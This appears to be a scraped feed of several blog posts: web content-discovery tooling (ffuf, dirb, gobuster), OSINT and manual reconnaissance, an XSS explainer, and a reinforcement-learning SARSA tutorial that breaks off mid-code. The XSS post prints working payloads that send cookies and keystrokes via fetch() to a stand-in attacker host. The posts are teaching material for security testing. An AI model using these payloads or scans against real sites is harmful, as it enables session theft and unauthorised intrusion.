id="heading-ffuf">FFUF</h3><p>FFUF is an open-source web fuzzing program for finding components and content within web applications, as well as web servers. What do I mean by this? When you visit a website, you're likely to see material that the site's owner wants to offer you, such as index.php on a page like that. The difficulties in a website that must be addressed may exist outside of the security perimeter. For example, the owner of the website may have content hosted at /admin.php, that you both want to know about, and test. FFUF is a tool that may help to find those items, for your perusal.</p><p><strong>Example using wordlists with FFUF:</strong></p><pre><code>user@machine$ ffuf <span class="hljs-operator">-</span>w <span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>share<span class="hljs-operator">/</span>wordlists<span class="hljs-operator">/</span>SecLists<span class="hljs-operator">/</span>Discovery<span class="hljs-operator">/</span>Web<span class="hljs-operator">-</span>Content<span class="hljs-operator">/</span>common.txt <span class="hljs-operator">-</span>u http:<span class="hljs-comment">//IP/</span></code></pre><p><strong>Source:</strong> <a target="_blank" href="https://www.kali.org/tools/ffuf/">FUFF Source</a></p><h3 id="heading-dirb">DIRB</h3><p>DIRB is a Web Content Scanner. It searches for existing (and/or hidden) Web Objects on the Internet. It does so by launching a dictionary-based assault against a web server and analyzing the response.</p><p>It comes with built-in preconfigured attack wordlists, but you may also use your own wordlists. DIRB can also operate as a traditional CGI scanner, but keep in mind that it is primarily a content scanner, not a vulnerability scanner.</p><p>The primary goal of this tool is to assist in professional web application auditing. It addresses areas that traditional web vulnerability scanners may miss. In particular, it searches for specific web objects that other generic CGI scanners may miss. It doesnt search for vulnerabilities nor does it look for web content that can be vulnerable.</p><p><strong>Example using wordlists with DIRB:</strong></p><pre><code>user@machine$ dirb <span class="hljs-symbol">http:</span>/<span class="hljs-regexp">/IP/</span> /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt</code></pre><p><strong>Source:</strong> <a target="_blank" href="https://tools.kali.org/web-applications/dirb">DIRB Source</a></p><h3 id="heading-gobuster">Gobuster</h3><p>The Go language record scanner Gobuster is worth seeking. Brute-force scanners such as DirBuster and DIRB in popular directories are capable of working gracefully, yet they may frequently be slow and responsive to mistakes. Gobuster, on the other hand, may be a Go-based variant of that software and is available in a command-line format. The major advantage of utilizing Gobuster over other directory searchers is that it is fast.</p><p><strong>Example using wordlists with Gobuster:</strong></p><pre><code>user@machine$ gobuster dir --url <span class="hljs-symbol">http:</span>/<span class="hljs-regexp">/IP/</span> -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt</code></pre><p><strong>Source:</strong> <a target="_blank" href="https://www.kali.org/tools/gobuster/">Gobuser Source</a></p><h2 id="heading-conclusion">Conclusion</h2><p>In this article, we discussed the basics of automated content discovery and some of the tools that are available to help with this process. We also took a look at how wordlists can be used to find sensitive information on the internet. Stay tuned for future articles in which we will discuss more hacking tools and techniques!</p>]]>https://cdn.hashnode.com/res/hashnode/image/unsplash/nGwyaWKFRVI/upload/v1649153932588/BO3mEm2uk.jpeg<![CDATA[OSINT Content Discovery Explained]]>https://deepboltzer.codes/osint-content-discovery-explainedhttps://deepboltzer.codes/osint-content-discovery-explainedMon, 04 Apr 2022 17:39:46 GMT<![CDATA[<p>OSINT (Open-Source Intelligence) content discovery is the process of locating and extracting content from publicly available sources. This can include websites, social media platforms, and other online resources. The aim of content discovery is to find information that can be used in investigations or business analysis.</p><h2 id="heading-google-hacking-dorking-is">Google Hacking / Dorking is</h2><p>Google hacking / Dorking takes advantage of Google's sophisticated search engine capabilities, which let you select unique material. You may, for example, use the site: filter to select out items from a specific domain name (for example, webpage.com) you can then match this up with certain search terms, such as admin (webpage.com admin), which will only show results from the webpage.com website that include the term admin. You may also combine multiple filters. </p><p>For more information check the following Wikipedia webpage: https://en.wikipedia.org/wiki/Google_hacking</p><h2 id="heading-wappalyzer">Wappalyzer</h2><p>Wappalyzer is a cross-platform utility that uncovers the technologies used on websites. It can identify content management systems (CMS), e-commerce platforms, frameworks, payment processors web servers, and other technology-related features. </p><p>For more information check the following website: https://www.wappalyzer.com/</p><h2 id="heading-wayback-machine">Wayback Machine</h2><p>The Wayback Machine is a historical archive created by the Internet Archive. It stores copies of websites and allows users to browse through them. The Wayback Machine can be used to view past versions of websites or to track changes over time. You can look up a domain name and see how often the service scraped the web page and stored the content. This service can be used to find out if any old pages remain on the current website.</p><p>For more information check the following website: https://archive.org/web/</p><h2 id="heading-github">GitHub</h2><p>GitHub is a web-based hosting service for software development projects. It allows users to share code repositories, track changes, and collaborate on projects. GitHub can be used to find open-source code snippets, connectors, and other tools that may be useful in investigations or business analysis.</p><p>You may use GitHub's search function to look for company names or website names in the hopes of finding repositories linked to your objective. You may discover source code, passwords, or other information that you didn't already have after it's been discovered.</p><h2 id="heading-s3-buckets">S3 Buckets</h2><p>S3 Buckets are cloud-based storage services offered by Amazon. They allow users to store files and data in the cloud. The file's owner may restrict access to only those people who have permission to view or modify the data. These settings are sometimes incorrect and unintentionally allow access to files that should not be accessible to the general public. The S3 buckets are accessible at http(s)://{name}.s3.amazonaws.com, where {name} is derived by the owner. There are many ways to discover S3 buckets. For example, you may look for URLs in the website's page source, GitHub repositories, or even automate the process.</p><h2 id="heading-conclusion">Conclusion</h2><p>In this article, we have discussed OSINT content discovery methods that can be used in investigations and business analysis. These methods include Google hacking/Dorking, Wappalyzer, Wayback Machine, GitHub, and S3 buckets. Each of these tools has its own unique benefits that can be used to locate content from publicly available sources. I hope you find these tools useful and informative.</p><p>As always, if you have any questions or comments, please feel free to reach out to us. Thank you for reading!</p>]]>https://cdn.hashnode.com/res/hashnode/image/unsplash/Jh6aQX-25Uo/upload/v1649093721135/fPTrkNCuJ.jpeg<![CDATA[Getting started with Manual Content Discovery]]>https://deepboltzer.codes/getting-started-with-manual-content-discoveryhttps://deepboltzer.codes/getting-started-with-manual-content-discoveryThu, 31 Mar 2022 08:45:36 GMT<![CDATA[<p>To begin, we should ask, in the context of web application security, what is content? A file, video, photograph, backup, or a website feature are all examples of content. When we use the term "content discovery," we're not referring to things that are readily apparent on a website; it's everything else that wasn't intended for public viewing. This content might be hidden in the code, or it might reside on a separate server (thus requiring additional steps for retrieval). Examples might be anything from pages or portals for employee use to previous versions of the website, backup files, system configuration documents, and administration panels.</p><p>In many cases, content discovery is a necessary step in the overall process of web application security testing. By uncovering content that was not intended for public viewing, we can better understand how the application works and identify potential vulnerabilities. There are a variety of methods that can be used for content discovery, each with its own advantages and disadvantages.</p><p>There are three primary methods for finding content on a website: manually, automatically, and through OSINT (Open-Source Intelligence). In this post, we'll focus on Manually Determining Content.</p><p>There are several places on a website where we may look for more material to get started.</p><h2 id="heading-robotstxt">Robots.txt</h2><p>The robots.txt file is a file that specifies which pages on your website should or shouldn't be displayed in search engine results, as well as which search engines are allowed to crawl the site. It's not unusual to block certain website sections in search engine results. These pages might be areas like administration interfaces or files intended for website customers. Thus the file provides us with a list of sites that the site's owners don't want us to discover as penetration testers.</p><h2 id="heading-favicon">Favicon</h2><p>The favicon is the little graphic that appears in the browser's tab next to the website's name. It's also displayed in the address bar when you hover over the website's name. The favicon can be a useful indicator of content on a website.</p><p>When a website is developed using a framework, the installer's favicon may remain in the browser tab. If the website developer doesn't replace this with a custom one, it might indicate which framework they're using.</p><p>The OWASP host a database of standard framework icons that you may utilize to verify against the targets favicon (<a target="_blank" href="https://wiki.owasp.org/index.php/OWASP_favicon_database">Favicon Database</a>). We can use external sources to learn more about the framework stack after we've identified it.</p><h2 id="heading-sitemapxml">Sitemap.xml</h2><p>A sitemap is a file that lists all the pages on a website. It can be used as a content discovery tool because it provides an overview of all the content on a site. Sitemaps are especially helpful when you're trying to identify which sections of a website are being blocked by the robots.txt file. The <code>sitemap.xml</code> file may be accessed by adding <code>/sitemap.xml</code> to the website URL.</p><h2 id="heading-html-headers">HTML Headers</h2><p>HTML headers can be a valuable source of information for content discovery. They contain metadata about the page, including the title, description, keywords, webserver software and possibly the programming/scripting language in use. For example, the web server is NGINX version 1.18.0 and runs PHP version 7.4.3, while the database server is MySQL 5.7 (but running on a separate port). Using this information, we may discover vulnerable versions of software in use.</p><p>We can show the HTML headers with a curl command against the web server, using the <code>-v</code> switch to produce verbose mode and provide the headers:</p><pre><code><span class="hljs-attribute">curl</span> http://ip -v</code></pre><h2 id="heading-framework-stack">Framework stack</h2><p>Once we've identified the content management system (CMS) in use, we can investigate further to learn about the framework stack. The framework stack refers to the collection of software used to power a website. It usually includes a web server, a CMS, and a database. Often, the framework stack is revealed in the HTML headers of the website. We may discover even more information from there, such as the software's features and other information, which might lead us to additional material.</p><h2 id="heading-conclusion">Conclusion</h2><p>In this post, we've looked at some methods for manually content discovery. We've seen how to use the robots.txt file, favicon, sitemap.xml, and HTML headers to get started. We've also looked at how to identify the content management system (CMS) in use and investigate the framework stack. These techniques can be valuable in our efforts to gather more information about a website.</p>]]>https://cdn.hashnode.com/res/hashnode/image/unsplash/vpOeXr5wmR4/upload/v1648712557080/tLqQ5LmLX.jpeg<![CDATA[Cross-site Scripting]]>https://deepboltzer.codes/cross-site-scriptinghttps://deepboltzer.codes/cross-site-scriptingMon, 20 Dec 2021 14:56:15 GMT<![CDATA[<h1 id="heading-what-is-cross-site-scripting">What is Cross-site Scripting?</h1><p>Unrestricted web applications allow users to attack other users' accounts with Cross-Site Scripting, also known as XSS in the cybersecurity world. It's a type of injection assault where attackers inject malicious JavaScript into a website in order for it to be loaded and executed by other people.</p><p>If you can get JavaScript to execute on a user's computer, you may do a lot of things. This might range from monitoring the victim's cookies to seizing control of their session, running a keylogger that records every keystroke the user makes while visiting the website, or redirecting them to an entirely different website altogether.</p><h1 id="heading-xss-payloads">XSS Payloads</h1><p>The payload in XSS is the JavaScript code we want to execute on the target's computer. There are two components to the payload: an intention and a modification.</p><p>The intention is what you want the JavaScript to do in practice, while the modification defines the changes to the code that must be made in order for it to execute as each situation is unique.</p><h2 id="heading-examples-of-xss-intentions">Examples of XSS Intentions</h2><h3 id="heading-proof-of-concept">Proof of Concept</h3><p>This is the most basic type of payload, and all you want to accomplish is show that you can XSS a webpage. This is generally achieved by causing an alert box to appear on the page with random text, such as:</p><pre><code><span class="hljs-operator"><</span>script<span class="hljs-operator">></span>alert(<span class="hljs-string">'Yaj, XSS the webpage!'</span>);<span class="hljs-operator"><</span><span class="hljs-operator">/</span>script<span class="hljs-operator">></span></code></pre><h3 id="heading-session-stealing">Session Stealing</h3><p>Cookies on the computers of targets are commonly used to store information about a user's session, such as login tokens. The following code utilizes a JavaScript function to steal the victim's cookie, base64-encode it for transmission, and then post it to a website controlled by the hacker. The cookies may be used by hackers to take control of the target's session and be recorded as that person.</p><pre><code><span class="hljs-operator"><</span>script<span class="hljs-operator">></span>fetch(<span class="hljs-string">'https://hackerwebpage.com/steal?cookie='</span> <span class="hljs-operator">+</span> btoa(document.cookie));<span class="hljs-operator"><</span><span class="hljs-operator">/</span>script<span class="hljs-operator">></span></code></pre><h3 id="heading-key-logger">Key Logger</h3><p>The following script is a key logger. This means anything you type on the website will be sent to a website under the hacker's control. If the site where the payload was delivered accepted user registrations or credit card information, this might be quite dangerous.</p><pre><code><span class="hljs-operator"><</span>script<span class="hljs-operator">></span>document.onkeypress <span class="hljs-operator">=</span> <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">e</span>) </span>{ fetch(<span class="hljs-string">'https://hackerwebpage.com/log?key='</span> <span class="hljs-operator">+</span> btoa(e.key) );}<span class="hljs-operator"><</span><span class="hljs-operator">/</span>script<span class="hljs-operator">></span></code></pre><h1 id="heading-types-of-xss">Types of XSS</h1><h2 id="heading-reflected-xss">Reflected XSS</h2><p>When user-supplied data is included in the source of an HTTP request without any validation, it becomes possible for a reflected XSS vulnerability to occur.</p><h3 id="heading-potential-impact">Potential Impact</h3><p>The attacker may post links or embed them in an iframe on a different website to potential victims, enticing them to execute code on their browser, potentially leaking session or consumer data.</p><h3 id="heading-test-for-reflected-xss">Test for Reflected XSS</h3><p>Every conceivable entrance should be tested; these include:</p><ul><li>Parameters in the URL Query String</li><li>URL File Path</li><li>Sometimes HTTP Headers</li></ul><h2 id="heading-stored-xss">Stored XSS</h2><p>The XSS payload is saved on the web application (in a database, for example) and then run when other people visit the site or page.</p><h3 id="heading-potential-impact">Potential Impact</h3><p>The attacker's malicious JavaScript might redirect users to another site, capture the user's session cookie, or execute other website operations while posing as a visitor.</p><h3 id="heading-test-for-stored-xss">Test for Stored XSS</h3><p>You'll need to test every conceivable entry point where data is believed to be stored and then presented back in areas that other users have access to.</p><p>Once you've discovered some data that's being kept in a web application, you'll need to ensure that your JavaScript payload will work; your code will probably be injected into a text area in a web page somewhere.</p><h2 id="heading-dom-based-xss">DOM Based XSS</h2><h3 id="heading-what-is-the-dom">What is the DOM?</h3><p>The Document Object Model (DOM) is a programming interface for HTML and XML documents. It functions as a proxy for the document, allowing applications to modify the document's structure, style, and content. A web page is a document, and it can be viewed in the browser window or as an HTML source file.</p><h3 id="heading-exploiting-the-dom">Exploiting the DOM</h3><p>JavaScript is executed inside the client-side web browser within the DOM. This refers to attacks that target websites where the data isn't being transmitted or submitted to a backend server.</p><h3 id="heading-potential-impact">Potential Impact</h3><p>The malicious code may be used to capture information from the user's session and redirect them to another website or steal content from the page or their session.</p><h3 id="heading-test-for-dom-based-xss">Test for DOM Based XSS</h3><p>DOM Based XSS is difficult to test for and needs a thorough understanding of JavaScript to comprehend the source code. You'd need to search for bits of user-supplied input in the DOM (Document Object Model) and then inject your code.</p><p>You must also study how they are handled and whether the values are ever written to the web page's DOM or passed to unsafe JavaScript functions like <strong>eval()</strong> or <strong>setTimeout()</strong>.</p><h2 id="heading-blind-xss">Blind XSS</h2><p>Blind XSS is similar to stored XSS in that your payload is saved on the site for another user to view, but you can't see the payload working or test it against yourself.</p><h3 id="heading-potential-impact">Potential Impact</h3><p>The attacker's JavaScript may call back to the attacker's website, revealing the portal URL, cookies, and even what is being viewed on the portal page. Now the hacker has access to a staff member's session and has access to their personal portal.</p><p>In conclusion, XSS vulnerabilities are usually the biggest risk when it comes to web applications and websites, because of their potentially disastrous effects on the target's computer. The best way to protect against these attacks is by using proper input validation on all user-supplied data, and always being on the lookout for regular expression exploits.</p><h3 id="heading-test-for-blind-xss">Test for Blind XSS</h3><p>A call back is required for testing for Blind XSS attacks. This way, you can determine if and when your code is run.</p><p><a target="_blank" href="https://xsshunter.com/">xsshunter</a> is a popular tool for Blind XSS assaults. Although constructing your own JavaScript program is possible, this program will automatically collect cookies, URLs, page contents, and more.</p><h1 id="heading-conclusion">Conclusion</h1><p>In conclusion, XSS vulnerabilities are usually the biggest risk when it comes to web applications and websites, because of their potentially disastrous effects on the target's computer. The best way to protect against these attacks is by using proper input validation on all user-supplied data, and always being on the lookout for regular expression exploits.</p><h1 id="heading-references">References:</h1><ul><li><p><a target="_blank" href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS">OWASP XSS</a></p></li><li><p><a target="_blank" href="http://www.webappsec.org/projects/articles/071105.shtml">Webappsec</a> </p></li><li><p><a target="_blank" href="https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet">OWASP XSS Cheat Sheet</a></p></li></ul>]]>https://cdn.hashnode.com/res/hashnode/image/unsplash/J5yoGZLdpSI/upload/v1640000289879/NQU4TxwlD.jpeg<![CDATA[Advanced Reinforcement Learning Concepts]]>https://deepboltzer.codes/advanced-reinforcement-learning-conceptshttps://deepboltzer.codes/advanced-reinforcement-learning-conceptsSat, 18 Dec 2021 17:15:36 GMT<![CDATA[<p>Today, we'll look at two RL algorithms that appear to be identical on the surface but have a crucial difference. Both algorithms learn the action-value function \(Q(s, a)\) in order to find the best policy possible. Once the action-value function \(Q(s, a)\) has been learned and optimized, the policy \(\pi(a | s)\) can be derived by greedily choosing the best action \(a\) leading to the highest value of \(Q(s, a)\) when in state \(s\).</p><h1 id="heading-temporal-difference-learning">Temporal-Difference Learning</h1><p>TD-Learning analyzes the observed experiences and, based on that data, optimizes the action-value function \(Q(s, a)\) or the value function \(V(s)\) for use in future operations. TD-Learning is similar to <strong>Stochastic Gradient Descent (SGD)</strong> as used in neural networks in that it slightly shifts the parameters in each iteration to improve the neural network performance gradually.</p><p>Each TD-Learning step considers a sequence \(s_t, a_t, r_{t+1}, s_{t+1}, a_{t+1}\) from a trajectory \(\tau\) at a timestep \(t\). Further a hyperparameter \(\alpha \in (0, 1)\) is needed and the discount of future rewards \(\gamma\) has to be taken into consideration. TD-Learning shifts the existing function according to the <strong>TD target</strong> given by \(r_{t+1} + \gamma V(s_{t+1})\) or \(r_{t+1} + \gamma Q(s_{t+1}, a_{t+1})\) respectively, which estimates the function in the observed trajectory:</p><p>$$\text{new function} = (1 - \alpha) \cdot \text{current function} + \alpha \cdot\text{observed function} $$$$\text{new value} = (1 - \alpha) \cdot \text{old value} + \alpha \cdot \text{TD target}$$</p><p>$$V(s_t) = (1 - \alpha) V(s_t) + \alpha (r_{t+1} + \gamma V(s_{t+1})) $$$$V(s_t) = V(s_t) - \alpha V(s_t) + \alpha (r_{t+1} + \gamma V(s_{t+1})) $$$$V(s_t) = V(s_t) + \alpha (r_{t+1} + \gamma V(s_{t+1}) - V(s_t)) $$</p><p>$$Q(s_t, a_t) = (1 - \alpha) Q(s_t, a_t) + \alpha (r_{t+1} + \gamma Q(s_{t+1}, a_{t+1})) $$$$<br />Q(s_t, a_t) = Q(s_t, a_t) - \alpha Q(s_t, a_t) + \alpha (r_{t+1} + \gamma Q(s_{t+1}, a_{t+1}))$$$$Q(s_t, a_t) = Q(s_t, a_t) + \alpha (r_{t+1} + \gamma Q(s_{t+1}, a_{t+1}) - Q(s_t, a_t))$$</p><p>It's also worth noting that TD-Learning can learn from past experiences and even incomplete trajectories because only a sequence \(s_t, a_t, r_{t+1}, s_{t+1}, a_{t+1}\) needs to be analyzed. This may be significant when considering RL concerns that have no terminal state.</p><h1 id="heading-epsilon-greedy">\(\epsilon\)-Greedy</h1><p>RL-Algorithms which learn from generated trajectories face a dilemma. The generation of a trajectory \(\tau\) requires a policy \(\pi(a | s)\). On the one hand, this strategy should aim to maximize the anticipated return in order for the new path to be utilized to fine-tune and profit from the acquired parameters. On the other hand, we need to explore unanticipated options in order for us not to get trapped in a negative local optimum.</p><p>As a result, we should take a brief look at the \(\epsilon\)<strong>-Greedy policy</strong>. This policy has a straightforward concept to balance exploration and analysis while developing a policy with the current learned model utilizing a hyperparameter \(\epsilon \in (0, 1) \). </p><p>The first option with probability \(\epsilon\) is to choose a random action \(a\) from all available actions. This option contains the exploration aspect and hopefully leads to the discovery of new strategies.</p><p>The second choice, with a probability of \(1 - \varepsilon\), is to select the action \(a\) greedily based on the current knowledge. This approach, which includes an exploitation component, improves conventional strategies.</p><h1 id="heading-code-examples">Code Examples</h1><p>To compare the different approaches, each method is applied to OpenAI Gym's Taxi environment. A taxi picks up a passenger from four possible locations and drops him off at the target destination. To this end, the taxi can move in each of the four cardinal directions, as well as pick up and drop off the passenger. The methods' efficiency was evaluated using the variable "Timesteps" which indicates the number of actions taken by the taxi driver to reach the goal.</p><h2 id="heading-random-action-agent">Random Action Agent</h2><pre><code><span class="hljs-keyword">from</span> IPython.display <span class="hljs-keyword">import</span> clear_output<span class="hljs-keyword">from</span> time <span class="hljs-keyword">import</span> sleep<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">output</span>(<span class="hljs-params">frames, animation=True</span>):</span> <span class="hljs-keyword">if</span> animation: <span class="hljs-keyword">for</span> i, frame <span class="hljs-keyword">in</span> enumerate(frames): clear_output(wait=<span class="hljs-literal">True</span>) print(frame[<span class="hljs-string">'frame'</span>]) print(<span class="hljs-string">f"Timestep: <span class="hljs-subst">{i + <span class="hljs-number">1</span>}</span>"</span>) print(<span class="hljs-string">f"State: <span class="hljs-subst">{frame[<span class="hljs-string">'state'</span>]}</span>"</span>) print(<span class="hljs-string">f"Action: <span class="hljs-subst">{frame[<span class="hljs-string">'action'</span>]}</span>"</span>) print(<span class="hljs-string">f"Reward: <span class="hljs-subst">{frame[<span class="hljs-string">'reward'</span>]}</span>"</span>) sleep(<span class="hljs-number">.1</span>) <span class="hljs-keyword">else</span>: print(frames[<span class="hljs-number">-1</span>][<span class="hljs-string">'frame'</span>]) print(<span class="hljs-string">f'Total timesteps: <span class="hljs-subst">{len(frames)}</span>'</span>) print(<span class="hljs-string">'Training finished.\n'</span>)</code></pre><pre><code><span class="hljs-keyword">import</span> <span class="hljs-title">gym</span><span class="hljs-title">env</span> <span class="hljs-operator">=</span> <span class="hljs-title">gym</span>.<span class="hljs-title">make</span>(<span class="hljs-string">"Taxi-v3"</span>).<span class="hljs-title">env</span><span class="hljs-title">env</span>.<span class="hljs-title">reset</span>()# <span class="hljs-title">initialize</span> <span class="hljs-title">variables</span><span class="hljs-title">epoch</span> <span class="hljs-operator">=</span> 0<span class="hljs-title">reward</span> <span class="hljs-operator">=</span> 0<span class="hljs-title">done</span> <span class="hljs-operator">=</span> <span class="hljs-title">False</span><span class="hljs-title">frames</span> <span class="hljs-operator">=</span> []<span class="hljs-title"><span class="hljs-keyword">while</span></span> <span class="hljs-title">not</span> <span class="hljs-title">done</span>: <span class="hljs-title">epoch</span> <span class="hljs-operator">+</span><span class="hljs-operator">=</span> 1 <span class="hljs-title">action</span> <span class="hljs-operator">=</span> <span class="hljs-title">env</span>.<span class="hljs-title">action_space</span>.<span class="hljs-title">sample</span>() <span class="hljs-title">state</span>, <span class="hljs-title">reward</span>, <span class="hljs-title">done</span>, <span class="hljs-title">info</span> <span class="hljs-operator">=</span> <span class="hljs-title">env</span>.<span class="hljs-title">step</span>(<span class="hljs-title">action</span>) # <span class="hljs-title">Put</span> <span class="hljs-title">each</span> <span class="hljs-title">rendered</span> <span class="hljs-title">frame</span> <span class="hljs-title">into</span> <span class="hljs-title">dict</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title">animation</span> <span class="hljs-title">frames</span>.<span class="hljs-title">append</span>({ <span class="hljs-string">'frame'</span>: <span class="hljs-title">env</span>.<span class="hljs-title">render</span>(<span class="hljs-title">mode</span><span class="hljs-operator">=</span><span class="hljs-string">'ansi'</span>), <span class="hljs-string">'state'</span>: <span class="hljs-title">state</span>, <span class="hljs-string">'action'</span>: <span class="hljs-title">action</span>, <span class="hljs-string">'reward'</span>: <span class="hljs-title">reward</span> } )# <span class="hljs-title">save</span> <span class="hljs-title">last</span> <span class="hljs-title">frame</span><span class="hljs-title">frame</span> <span class="hljs-operator">=</span> { <span class="hljs-string">'frame'</span>: <span class="hljs-title">env</span>.<span class="hljs-title">render</span>(<span class="hljs-title">mode</span><span class="hljs-operator">=</span><span class="hljs-string">'ansi'</span>), <span class="hljs-string">'state'</span>: <span class="hljs-title">state</span>, <span class="hljs-string">'action'</span>: <span class="hljs-title">action</span>, <span class="hljs-string">'reward'</span>: <span class="hljs-title">reward</span>}# <span class="hljs-title">output</span> <span class="hljs-title">random</span> <span class="hljs-title">action</span> <span class="hljs-title">agent</span><span class="hljs-title">output</span>(<span class="hljs-title">frames</span>, <span class="hljs-title">animation</span><span class="hljs-operator">=</span><span class="hljs-title">False</span>)</code></pre><pre><code><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">|</span>R: <span class="hljs-operator">|</span> : :G<span class="hljs-operator">|</span><span class="hljs-operator">|</span> : <span class="hljs-operator">|</span> : : <span class="hljs-operator">|</span><span class="hljs-operator">|</span> : : : : <span class="hljs-operator">|</span><span class="hljs-operator">|</span> <span class="hljs-operator">|</span> : <span class="hljs-operator">|</span> : <span class="hljs-operator">|</span><span class="hljs-operator">|</span>Y<span class="hljs-operator">|</span> : <span class="hljs-operator">|</span>B: <span class="hljs-operator">|</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span> (Dropoff)Total timesteps: <span class="hljs-number">6955</span>Training finished.</code></pre><h2 id="heading-sarsa">SARSA</h2><p><strong>SARSA</strong> is the most basic TD-Learning algorithm by learning the action-value function \(Q(s, a)\). The name reflects, that each learning step is done based on the sequence state-action-reward-state-action \(s_t, a_t, r_{t+1}, s_{t+1}, a_{t+1}\). </p><ol><li>generate trajectory \(\tau\) using \(\epsilon\)-Greedy policy.</li><li>for each sequence \(s_t, a_t, r_{t+1}, s_{t+1}, a_{t+1}\) adjust \(Q(s_t, a_t)\) according to: $$ Q(s_t, a_t) = Q(s_t, a_t) + \alpha \left ( r_{t+1} + \gamma Q(s_{t+1}, a_{t+1}) - Q(s_t, a_t) \right ) $$</li><li>If learning is insufficient and time is left go back to step 1. Else terminate the algorithm and output \(Q(s, a)\) and the greedy policy if needed.</li></ol><pre><code><span class="hljs-keyword">import</span> <span class="hljs-title">gym</span><span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">random</span><span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">numpy</span> <span class="hljs-title"><span class="hljs-keyword">as</span></span> <span class="hljs-title">np</span><span class="hljs-title">env</span> <span class="hljs-operator">=</span> <span class="hljs-title">gym</span>.<span class="hljs-title">make</span>(<span class="hljs-string">'Taxi-v3'</span>).<span class="hljs-title">env</span># <span class="hljs-title">hyperparameters</span><span class="hljs-title">q_table</span> <span class="hljs-operator">=</span> <span class="hljs-title">np</span>.<span class="hljs-title">zeros</span>([<span class="hljs-title">env</span>.<span class="hljs-title">observation_space</span>.<span class="hljs-title">n</span>, <span class="hljs-title">env</span>.<span class="hljs-title">action_space</span>.<span class="hljs-title">n</span>])<span class="hljs-title">alpha</span> <span class="hljs-operator">=</span> 0.1<span class="hljs-title">gamma</span> <span class="hljs-operator">=</span> 0.6<span class="hljs-title">epsilon</span> <span class="hljs-operator">=</span> 0.1# <span class="hljs-title">start</span> <span class="hljs-title">the</span> <span class="hljs-title">SARSA</span> <span class="hljs-title">learning</span> <span class="hljs-title">over</span> 10000 <span class="hljs-title">episodes</span><span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title">i</span> <span class="hljs-title">in</span> <span class="hljs-title">range</span>(10000): # <span class="hljs-title">initialize</span> <span class="hljs-title">varibales</span> <span class="hljs-title">epoch</span> <span class="hljs-operator">=</span> 0 <span class="hljs-title">reward</span> <span class="hljs-operator">=</span> 0 <span class="hljs-title">done</span> <span class="hljs-operator">=</span> <span class="hljs-title">False</span> <span class="hljs-title">state</span> <span class="hljs-operator">=</span> <span class="hljs-title">env</span>.<span class="hljs-title">reset</span>() # <span class="hljs-title">choose</span> <span class="hljs-title">action</span> <span class="hljs-title">epsilon</span><span class="hljs-operator">-</span><span class="hljs-title">greedy</span> <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">random</span>.<span class="hljs-title">uniform</span>(0, 1) <span class="hljs-operator"><</span> <span class="hljs-title">epsilon</span>: <span class="hljs-title">action</span> <span class="hljs-operator">=</span> <span class="hljs-title">env</span>.<span class="hljs-title">action_space</span>.<span class="hljs-title">sample</span>() <span class="hljs-title"><span class="hljs-keyword">else</span></span>: <span class="hljs-title">action</span> <span class="hljs-operator">=</span> <span class="hljs-title">np</span>.<span class="hljs-title">argmax</span>(<span class="hljs-title">q_table</span>[<span class="hljs-title">state</span>]) <span class="hljs-title"><span class="hljs-keyword">while</span></span> <span class="hljs-title">not</span> <span class="hljs-title">done</span>: <span class="hljs-title">epoch</span> <span class="hljs-operator">+</span><span class="hljs-operator">=</span> 1 # <span class="hljs-title">get</span> <span class="hljs-title">the</span> <span class="hljs-title">next</span> <span class="hljs-title">state</span> <span class="hljs-title">next_state</span>, <span class="hljs-title">reward</span>, <span class="hljs-title">done</span>, <span class="hljs-title">info</span> <span class="hljs-operator">=</span> <span class="hljs-title">env</span>.<span class="hljs-title">step</span>(<span class="hljs-title">action</span>) # <span class="hljs-title">chooose</span> <span class="hljs-title">the</span> <span class="hljs-title">next</span> <span class="hljs-title">action</span> <span class="hljs-title">epsilon</span> <span class="hljs-title">greedy</span> <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">random</span>.<span class="hljs-title">uniform</span>(0, 1) <span class="hljs-operator"><</span> <span class="hljs-title">epsilon</span>: <span class="hljs-title">next_action</span> <span class="hljs-operator">=</span> <span class="hljs-title">env</span>.<span class="hljs-title">action_space</span>.<span class="hljs-title">sample</span>() <span class="hljs-title"><span class="hljs-keyword">else</span></span>: <span class="hljs-title">next_action</span> <span class="hljs-operator">=</span> <span class="hljs-title">np</span>.<span class="hljs-title">argmax</span>(<span class="hljs-title">q_table</span>[<span class="hljs-title">next_state</span>]) <span class="hljs-title">old_value</span> <span class="hljs-operator">=</span> <span class="hljs-title">q_table</span>[<span class="hljs-title">state</span>, <span class="hljs-title">action</span>] <span class="hljs-title">new_value</span> <span class="hljs-operator">=</span> <span class="hljs-title">q_table</span>[<span class="hljs-title">next_state</span>,<span class="hljs-title">next_action</span>] # <span class="hljs-title">learn</span> <span class="hljs-title">the</span> <span class="hljs-title">Q</span><span class="hljs-operator">-</span><span class="hljs-title">value</span> <span class="hljs-title">q_table</span>[<span class="hljs-title">state</span>, <span class="hljs-title">action</span>] <span class="hljs-operator">=</span> <span class="hljs-title">old_value</span> <span class="hljs-operator">+</span> <span class="hljs-title">alpha</span> <span class="hljs-operator">*</span> (<span class="hljs-title">reward</span> <span class="hljs-operator">+</span> <span class="hljs-title">gamma</span> <span class="hljs-operator">*</span> <span 